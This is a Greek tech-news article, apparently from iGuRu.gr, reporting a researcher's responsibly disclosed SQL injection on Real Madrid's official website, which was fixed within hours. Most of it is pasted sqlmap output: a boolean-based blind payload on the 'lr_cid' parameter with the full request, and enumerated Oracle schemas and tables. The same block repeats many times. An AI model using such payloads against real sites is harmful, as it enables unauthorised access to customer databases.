Real Madrid: SQL Injection από Έλληνα researcher


Έλληνας ερευνητής κατάφερε να εντοπίσει ένα σημαντικό κενό ασφαλείας στον επίσημο ιστότοπο της Real Madrid, που του επέτρεψε να εκτελέσει SQL injection με επιτυχία και να αποκτήσει πρόσβαση στη βάση δεδομένων της ομάδας.

real madrid wallpaper preview

Στις 10 Οκτωβρίου ο Αναστάσης Βασιλειάδης εντόπισε την ευπάθεια και ενημέρωσε τη Real Madrid.
Η συνεργασία ήταν άψογη και άμεση και το πρόβλημα διορθώθηκε μέσα σε λίγες ώρες.

Αξίζει να σημειωθεί ότι η βάση της ιστοσελίδας είχε πάνω από 7.000 tables και πολλά σημαντικά στοιχεία όπως εκατομμύρια λογαριασμούς πελατών της από το επίσημο store της ομάδας.

Μερικές πληροφορίες σχετικά με την ευπάθεια:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:

Parameter: lr_cid (GET)
Type: boolean-based blind
Title: OR boolean-based blind – WHERE or HAVING clause
Payload: lr_c=RM_Noticia_FA&lr_cid=-8384 OR 8642=8642&lr_language=de&lr_pid=3&pagename=RealMadridResponsive/Comunes/Logica/urlCambioIdioma

web application technology: JSP
back-end DBMS: Oracle
Database: EXFSYS
[1 table] +——————————–+
| RLM$PARSEDCOND |
+——————————–+
Database: XDB
[2 tables] +——————————–+
| XDB$IMPORT_TT_INFO |
| XDB$XIDX_IMP_T |
+——————————–+

Database: APEX_030200
[3 tables] +——————————–+
| WWV_FLOW_DUAL100 |
| WWV_FLOW_LOV_TEMP |
| WWV_FLOW_TEMP_TABLE |
+——————————–+
Database: SYSTEM
[4 tables] +——————————–+
| HELP |
| OL$ |
| OL$HINTS |
| OL$NODES |
+——————————–+
Database: FATWIREDLV
[3437 tables] +——————————–+
Database: SYS
[26 tables] +——————————–+
Database: MDSYS
[35 tables] +——————————–+

Η ενημέρωση για ευπάθειες που ανακαλύπτονται σε οργανισμούς θεωρείται άκρως απαραίτητη
(ειδικά όταν υπάρχουν σε ιστοσελίδες υψηλής επισκεψιμότητας), και για εμάς αποτελούν άμεση προτεραιότητα.

 


Διαβάστε τις Τεχνολογικές Ειδήσεις από όλο τον κόσμο, με την εγκυρότητα του iGuRu.gr

Ακολουθήσετε μας στο Google News iGuRu.gr at Google news